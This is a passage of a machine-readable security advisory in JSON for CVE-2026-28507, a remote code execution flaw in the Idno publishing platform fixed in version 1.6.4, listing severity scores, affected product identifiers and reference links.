                    "text": "Idno is a social publishing platform. Prior to version 1.6.4, there is a remote code execution vulnerability via chained import file write and template path traversal. This issue has been patched in version 1.6.4.",
                    "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2026-28507"
                },
                {
                    "category": "other",
                    "text": "0.00417",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "8.6",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "3.7",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, Exploit code publicly available",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-4940335",
                    "CSAFPID-4940336",
                    "CSAFPID-4940337",
                    "CSAFPID-4940338",
                    "CSAFPID-5609555",
                    "CSAFPID-5609556",
                    "CSAFPID-5759022",
                    "CSAFPID-5759023",
                    "CSAFPID-5765413",
                    "CSAFPID-5829455"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-37j7-56xc-c468"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-37j7-56xc-c468"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Packagist%2FGHSA-37j7-56xc-c468.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28507"
                },
                {
                    "category": "external",
                    "summary": "Source raw - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-28507"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://www.cve.org/CVERecord?id=CVE-2026-28507"
                },
                {
                    "category": "external",
                    "summary": "Source raw - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/28xxx/CVE-2026-28507.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-28507"
                },
                {
                    "category": "external",
                    "summary": "Source raw - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/idno/idno/security/advisories/GHSA-37j7-56xc-c468"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/idno/idno/releases/tag/1.6.4"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-37j7-56xc-c468"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28507"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
                        "baseScore": 7.2,
                        "baseSeverity": "HIGH"
                    },
                    "products": [
                        "CSAFPID-4940335",
                        "CSAFPID-4940336",
                        "CSAFPID-4940337",
                        "CSAFPID-4940338",
                        "CSAFPID-5609555",
                        "CSAFPID-5609556",
                        "CSAFPID-5759022",
                        "CSAFPID-5759023",
                        "CSAFPID-5765413",
                        "CSAFPID-5829455"
                    ]
                }
            ],
            "title": "CVE-2026-28507"
        }
    ]
}